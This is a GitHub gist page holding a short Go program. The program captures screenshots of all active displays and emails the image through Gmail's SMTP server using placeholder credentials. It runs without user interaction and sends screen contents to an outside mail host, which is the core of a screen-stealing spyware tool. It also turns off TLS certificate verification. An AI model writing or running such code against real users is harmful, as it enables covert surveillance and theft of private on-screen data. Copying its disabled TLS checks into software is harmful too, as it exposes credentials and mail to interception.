Created
May 26, 2023 17:31
-
-
Save puppis42/b386e3866a734a8f008ab1734d16c80c to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"crypto/tls" | |
"image/png" | |
"os" | |
"github.com/kbinani/screenshot" | |
"gopkg.in/gomail.v2" | |
) | |
func main() { | |
//Create Screenshot File | |
n := screenshot.NumActiveDisplays() | |
for i := 0; i < n; i++ { | |
bounds := screenshot.GetDisplayBounds(i) | |
img, err := screenshot.CaptureRect(bounds) | |
if err != nil { | |
panic(err) | |
} | |
file, _ := os.Create("screenshot.png") | |
defer file.Close() | |
png.Encode(file, img) | |
} | |
//Send Mail | |
m := gomail.NewMessage() | |
m.SetHeader("From", "<mail-addr>") | |
m.SetHeader("To", "<mail-addr>") | |
m.SetHeader("Subject", "Have a screenshot!") | |
m.SetBody("text/html", "Hello <b>X</b> <i>X</i>") | |
m.Attach("screenshot.png") | |
d := gomail.NewPlainDialer("smtp.gmail.com", 587, "<mail-addr>", "<password>") | |
d.TLSConfig = &tls.Config{InsecureSkipVerify: true} | |
if err := d.DialAndSend(m); err != nil { | |
panic(err) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment